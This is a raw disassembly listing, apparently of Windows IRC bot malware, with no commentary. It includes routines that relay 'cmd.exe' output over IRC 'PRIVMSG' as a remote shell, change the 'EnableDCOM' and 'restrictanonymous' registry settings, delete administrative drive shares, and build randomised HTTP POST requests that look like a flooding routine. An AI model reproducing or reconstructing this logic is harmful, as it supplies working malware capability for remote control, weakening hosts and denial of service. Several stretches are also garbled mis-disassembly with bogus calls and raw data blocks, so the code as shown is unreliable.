		call	ds:dword_427064	; Sleep
		jmp	short loc_41A28C

; =============== S U B	R O U T	I N E =======================================



sub_41A2A9	proc near		; CODE XREF: sub_41A311+7Ep
					; seg000:0041A4F9p
		mov	eax, ds:dword_4E1478
		push	esi
		mov	esi, ds:dword_42706C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A2BD
		push	eax
		call	esi ; dword_42706C


loc_41A2BD:				; CODE XREF: sub_41A2A9+Fj
		mov	eax, ds:dword_4E1480
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A2CA
		push	eax
		call	esi ; dword_42706C


loc_41A2CA:				; CODE XREF: sub_41A2A9+1Cj
		mov	eax, ds:dword_4E1474
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A2D7
		push	eax
		call	esi ; dword_42706C


loc_41A2D7:				; CODE XREF: sub_41A2A9+29j
		pop	esi
		retn
sub_41A2A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2D9	proc near		; CODE XREF: seg000:0040901Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B890
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_4E147C
		call	near ptr 0B00000h
		mov	dl, 85h
		sal	byte ptr [ebp+arg_0+1],	0E8h
		mov	eax, ds:33FFFFFFh
		ror	cl, 0C3h
		push	1
		pop	eax
		leave
		retn
sub_41A2D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A311	proc near		; CODE XREF: seg000:0041A46Bp
					; seg000:0041A4D6p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_443398
		push	[ebp+arg_4]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A354
		push	7D0h
		call	ds:dword_427064	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41BF36
		add	esp, 10h
		jmp	short loc_41A36B
; ---------------------------------------------------------------------------


loc_41A354:				; CODE XREF: sub_41A311+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_41A36B:				; CODE XREF: sub_41A311+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4D1240
		test	eax, eax
		jg	short loc_41A394
		call	sub_41A2A9


loc_41A394:				; CODE XREF: sub_41A311+7Cj
		xor	eax, eax
		leave
		retn
sub_41A311	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4E1484


loc_41A3B0:				; CODE XREF: seg000:0041A411j
					; seg000:0041A473j
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	ds:dword_4E1478
		call	near ptr 0B00000h
		add	dword ptr [ebp-647BF040h], 39000000h ; CODE XREF: seg000:0041A3E4j
		jge	short near ptr loc_41A3DA+8
		jnz	short loc_41A413
		lea	eax, [ebp-8]
		push	eax
		push	ds:dword_4E1474
		call	near ptr 0B00000h


loc_41A3F7:				; CODE XREF: seg000:0041A3FDj
		add	al, [ebp-7EF28B40h]
		jge	short loc_41A3F7
		add	eax, [ecx]
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
; ---------------------------------------------------------------------------
		test	[ecx+6A000000h], ebx
		or	bh, bh
		adc	eax, offset dword_427064
		jmp	short loc_41A3B0
; ---------------------------------------------------------------------------


loc_41A413:				; CODE XREF: seg000:0041A3E6j
		xor	eax, eax
		cmp	[ebp-4], edi
		jbe	short loc_41A42A


loc_41A41A:				; CODE XREF: seg000:0041A428j
		cmp	byte ptr [ebp+eax-20Ch], 0Ah
		jz	short loc_41A478
		inc	eax
		cmp	eax, [ebp-4]
		jb	short loc_41A41A


loc_41A42A:				; CODE XREF: seg000:0041A418j
		mov	[ebp-4], esi


loc_41A42D:				; CODE XREF: seg000:0041A47Cj
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		lea	eax, [ebp-20Ch]
		push	eax
		push	ds:dword_4E1478
		call	ds:dword_4270E8	; ReadFile
		test	eax, eax
		jz	short loc_41A4CA
		lea	eax, [ebp-20Ch]
		push	eax
		push	ebx
		push	ds:dword_4E14B8
		call	sub_41A311
		add	esp, 0Ch
		jmp	loc_41A3B0
; ---------------------------------------------------------------------------


loc_41A478:				; CODE XREF: seg000:0041A422j
		inc	eax
		mov	[ebp-4], eax
		jmp	short loc_41A42D
; ---------------------------------------------------------------------------
		dw 0E068h
		dd 5300441Bh, 14B835FFh, 82E8004Eh, 0FFFFFFFEh,	93E80875h
		dd 83FFFF0Eh, 16A10C4h,	6E5B5FE8h, 2E8CA00h, 68FFFFFEh
		dd 441BB8h, 0B835FF53h,	0E8004E14h, 0FFFFFE59h,	0E80875FFh
		dd 0FFFF0E6Ah, 5710C483h, 6E5B37E8h
		db 0, 93h
; ---------------------------------------------------------------------------


loc_41A4CA:				; CODE XREF: seg000:0041A45Bj
		push	offset unk_441B88
		push	ebx
		push	ds:dword_4E14B8
		call	sub_41A311
		push	dword ptr [ebp+8]
		call	sub_40B32A
		add	esp, 10h
		push	edi
		call	near ptr 0B00000h


loc_41A4EC:				; CODE XREF: seg000:00403FCFp
		mov	bh, 55h
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_41A2A9
		xor	esi, esi
		lea	eax, [ebp-178h]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_4D12AC
		test	eax, eax
		jz	near ptr loc_41A5E2+5
		push	1
		lea	eax, [ebp-1Ch]
		pop	ebx
		mov	edi, ds:dword_427100
		push	esi
		push	eax
		lea	eax, [ebp-0Ch]
		mov	dword ptr [ebp-1Ch], 0Ch
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		mov	[ebp-14h], ebx
		mov	[ebp-18h], esi
		call	edi ; dword_427100
		test	eax, eax
		jz	near ptr loc_41A5E2+5
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		call	edi ; dword_427100
		test	eax, eax
		jz	near ptr loc_41A5E2+5
		mov	edi, ds:dword_4270FC
		push	3
		push	esi
		push	esi
		push	offset dword_4E147C
		call	edi ; dword_4270FC
		push	eax
		push	dword ptr [ebp-8]
		call	edi ; dword_4270FC
		push	eax
		call	near ptr 0B00000h
		cmpsd
		test	eax, eax
		jz	short near ptr loc_41A5E2+5
		push	10h
		lea	eax, [ebp-2Ch]
		push	esi
		push	eax
		call	sub_41BC40
		push	44h
		lea	eax, [ebp-74h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BC40
		mov	eax, [ebp-4]
		add	esp, 18h
		mov	[ebp-3Ch], eax
		mov	eax, [ebp-0Ch]
		mov	[ebp-38h], eax
		mov	[ebp-34h], eax
		lea	eax, [ebp-2Ch]
		mov	[ebp-74h], edi
		push	eax
		lea	eax, [ebp-74h]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_443398
		push	esi
		lea	eax, [ebp-178h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-48h], 101h
		mov	[ebp-44h], si
		call	near ptr 0B00000h


loc_41A5E2:				; CODE XREF: seg000:0041A51Cj
					; seg000:0041A549j ...
		pop	dword ptr [ebp-7CF78A40h]
		enter	0FFFFE9FFh, 0AEh
; ---------------------------------------------------------------------------
		dd 0FF000000h, 3D8BFC75h, 42706Ch, 458BD7FFh, 0D875FFF0h
		dd 4E1478A3h, 0F8458B00h, 4E1480A3h, 0D4458B00h, 4E1474A3h
		dd 8BD7FF00h, 75390845h, 14B8A30Ch, 574004Eh, 0EB0C75FFh
		dd 84685301h, 0E8004E14h, 1902h, 6A565959h, 1C44680Ah
		dd 0CBE80044h, 8BFFFF09h, 0DC4D8BF8h, 234FF69h,	0C4830000h
		dd 288F890Ch, 8D004441h, 5651D04Dh, 0A3986850h,	56560041h
		dd 707C15FFh, 0C63B0042h, 41348789h, 27750044h,	708C15FFh
		dd 8D500042h, 0FFFC8885h, 1C1068FFh, 0E8500044h, 18AAh
		dd 0FC88858Dh, 0E850FFFFh, 0FFFFB10Eh, 3310C483h, 5B5E5FC0h
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6A2	proc near		; DATA XREF: seg000:00404902o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A6E9
		call	sub_41A702
		jmp	short loc_41A6EE
; ---------------------------------------------------------------------------


loc_41A6E9:				; CODE XREF: sub_41A6A2+3Ej
		call	sub_41AA26


loc_41A6EE:				; CODE XREF: sub_41A6A2+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B32A
		pop	ecx
		push	0
		call	near ptr 0B00000h
		scasd
sub_41A6A2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A702	proc near		; CODE XREF: sub_41A6A2+40p
					; seg000:0041AD45p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_4D12C0, edi
		jnz	loc_41A834
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_4D1260
		test	eax, eax
		jnz	short loc_41A78D
		mov	ax, ds:word_4409E4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_4D1214
		test	eax, eax
		jz	short loc_41A76F
		push	offset dword_441EE8
		jmp	short loc_41A774
; ---------------------------------------------------------------------------


loc_41A76F:				; CODE XREF: sub_41A702+64j
		push	offset dword_441EC8


loc_41A774:				; CODE XREF: sub_41A702+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_4D11CC
		jmp	short loc_41A7A0
; ---------------------------------------------------------------------------


loc_41A78D:				; CODE XREF: sub_41A702+36j
		lea	eax, [ebp+var_214]
		push	offset dword_441E98
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41A7A0:				; CODE XREF: sub_41A702+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A7BF
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41A7BF:				; CODE XREF: sub_41A702+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A6
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_4D1260
		test	eax, eax
		jnz	short loc_41A82D
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	ds:dword_4D1214
		test	eax, eax
		jz	short loc_41A80F
		push	offset dword_441E48
		jmp	short loc_41A814
; ---------------------------------------------------------------------------


loc_41A80F:				; CODE XREF: sub_41A702+104j
		push	offset dword_441E14


loc_41A814:				; CODE XREF: sub_41A702+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_4D11CC
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A82D:				; CODE XREF: sub_41A702+E2j
		push	offset dword_441DD8
		jmp	short loc_41A839
; ---------------------------------------------------------------------------


loc_41A834:				; CODE XREF: sub_41A702+13j
		push	offset dword_441DA8


loc_41A839:				; CODE XREF: sub_41A702+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41A847:				; CODE XREF: sub_41A702+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A866
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41A866:				; CODE XREF: sub_41A702+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A6
		cmp	ds:dword_4D12E8, edi
		pop	ecx
		jnz	loc_41A9E1
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A889:				; CODE XREF: sub_41A702+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_4D1134
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A926
		cmp	eax, 0EAh
		jz	short loc_41A926
		mov	esi, offset off_441C70


loc_41A8BA:				; CODE XREF: sub_41A702+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_419510
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A8D1
		push	offset dword_441D84
		jmp	short loc_41A8D6
; ---------------------------------------------------------------------------


loc_41A8D1:				; CODE XREF: sub_41A702+1C6j
		push	offset dword_441D58


loc_41A8D6:				; CODE XREF: sub_41A702+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A909
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41A909:				; CODE XREF: sub_41A702+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A6
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_441C90
		jl	short loc_41A8BA
		jmp	loc_41A9BE
; ---------------------------------------------------------------------------


loc_41A926:				; CODE XREF: sub_41A702+1AAj
					; sub_41A702+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A9B5


loc_41A935:				; CODE XREF: sub_41A702+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41DEE7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A9AA
		push	edi
		call	sub_4193FD
		push	eax
		push	0
		call	sub_419510
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A964
		push	offset dword_441D34
		jmp	short loc_41A969
; ---------------------------------------------------------------------------


loc_41A964:				; CODE XREF: sub_41A702+259j
		push	offset dword_441D08


loc_41A969:				; CODE XREF: sub_41A702+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A99D
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41A99D:				; CODE XREF: sub_41A702+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_41A9AA:				; CODE XREF: sub_41A702+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A935
		xor	edi, edi


loc_41A9B5:				; CODE XREF: sub_41A702+22Dj
		push	[ebp+var_8]
		call	ds:dword_4D1280


loc_41A9BE:				; CODE XREF: sub_41A702+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A889
		lea	eax, [ebp+var_214]
		push	offset dword_441CE0
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A9F4
; ---------------------------------------------------------------------------


loc_41A9E1:				; CODE XREF: sub_41A702+177j
		lea	eax, [ebp+var_214]
		push	offset dword_441CB0
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41A9F4:				; CODE XREF: sub_41A702+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AA12
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41AA12:				; CODE XREF: sub_41A702+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A702	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA26	proc near		; CODE XREF: sub_41A6A2:loc_41A6E9p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4D12C0, ebx
		push	esi
		jnz	loc_41AB54
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_4D1260
		test	eax, eax
		jnz	short loc_41AAB1
		mov	ax, ds:word_440A28
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_4D1214
		test	eax, eax
		jz	short loc_41AA93
		push	offset dword_442060
		jmp	short loc_41AA98
; ---------------------------------------------------------------------------


loc_41AA93:				; CODE XREF: sub_41AA26+64j
		push	offset dword_442044


loc_41AA98:				; CODE XREF: sub_41AA26+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_4D11CC
		jmp	short loc_41AAC4
; ---------------------------------------------------------------------------


loc_41AAB1:				; CODE XREF: sub_41AA26+36j
		lea	eax, [ebp+var_220]
		push	offset dword_441E98
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41AAC4:				; CODE XREF: sub_41AA26+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AAE3
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41AAE3:				; CODE XREF: sub_41AA26+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A6
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_4D1260
		test	eax, eax
		jnz	short loc_41AB4D
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	ds:dword_4D1214
		test	eax, eax
		jz	short loc_41AB2F
		push	offset dword_442004
		jmp	short loc_41AB34
; ---------------------------------------------------------------------------


loc_41AB2F:				; CODE XREF: sub_41AA26+100j
		push	offset dword_441FCC


loc_41AB34:				; CODE XREF: sub_41AA26+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_4D11CC
		jmp	short loc_41AB67
; ---------------------------------------------------------------------------


loc_41AB4D:				; CODE XREF: sub_41AA26+E2j
		push	offset dword_441F90
		jmp	short loc_41AB59
; ---------------------------------------------------------------------------


loc_41AB54:				; CODE XREF: sub_41AA26+13j
		push	offset dword_441DA8


loc_41AB59:				; CODE XREF: sub_41AA26+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41AB67:				; CODE XREF: sub_41AA26+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AB86
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41AB86:				; CODE XREF: sub_41AA26+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A6
		cmp	ds:dword_4D12E8, ebx
		pop	ecx
		jnz	loc_41ACF8
		push	edi
		mov	esi, offset off_441C70
		mov	edi, 200h


loc_41ABAA:				; CODE XREF: sub_41AA26+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_419464
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41ABC5
		push	offset dword_441F70
		jmp	short loc_41ABCA
; ---------------------------------------------------------------------------


loc_41ABC5:				; CODE XREF: sub_41AA26+196j
		push	offset dword_441F48


loc_41ABCA:				; CODE XREF: sub_41AA26+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41ABF9
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41ABF9:				; CODE XREF: sub_41AA26+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A6
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_441C80
		jl	short loc_41ABAA
		call	near ptr 0B00000h
		inc	ebx
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41ACE0


loc_41AC24:				; CODE XREF: sub_41AA26+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41ACD5
		cmp	bl, 41h
		jz	loc_41ACD5
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C030
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41C030
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_4D1250
		cmp	eax, 3
		jnz	short loc_41ACD5
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_419464
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41AC93
		push	offset dword_441F70
		jmp	short loc_41AC98
; ---------------------------------------------------------------------------


loc_41AC93:				; CODE XREF: sub_41AA26+264j
		push	offset dword_441F48


loc_41AC98:				; CODE XREF: sub_41AA26+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41ACC8
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41ACC8:				; CODE XREF: sub_41AA26+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_41ACD5:				; CODE XREF: sub_41AA26+206j
					; sub_41AA26+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41AC24


loc_41ACE0:				; CODE XREF: sub_41AA26+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_441F18
		push	eax
		call	sub_41BF36
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41AD0B
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41AA26+173j
		lea	eax, [ebp+var_220]
		push	offset dword_441CB0
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41AD0B:				; CODE XREF: sub_41AA26+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41AD29
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41AD29:				; CODE XREF: sub_41AA26+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA26	endp

; ---------------------------------------------------------------------------


loc_41AD3D:				; CODE XREF: seg000:0041AD59j
		push	1
		push	0
		push	0
		push	0
		call	sub_41A702
		add	esp, 10h
		push	ds:dword_441C68
		call	ds:dword_427064	; Sleep
		jmp	short loc_41AD3D

; =============== S U B	R O U T	I N E =======================================



sub_41AD5B	proc near		; CODE XREF: sub_41AF50+CBp
					; sub_41AF50+DDp ...

arg_0		= dword	ptr  4

		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_41BF92
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AD5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD75	proc near		; CODE XREF: sub_41AF50+D4p
					; sub_41AF50+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B890
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41AF4C
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BC40
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AA54
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41AF4C
		push	50h
		call	ds:dword_4D11F0
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	ds:dword_4D1270
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41AF4C
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	ds:dword_4D1198
		cmp	eax, 0FFFFFFFFh
		jz	loc_41AF4C
		push	32003h
		call	sub_41D665
		mov	edi, ds:dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi ; dword_4270A8
		push	eax
		call	sub_41BF88
		call	sub_41BF92
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BC40
		push	32000h
		push	esi
		push	ebx
		call	sub_41BC40
		push	ebx
		call	sub_41B890
		push	323EAh
		mov	ebx, eax
		call	sub_41D665
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41BF36
		push	[ebp+var_8]
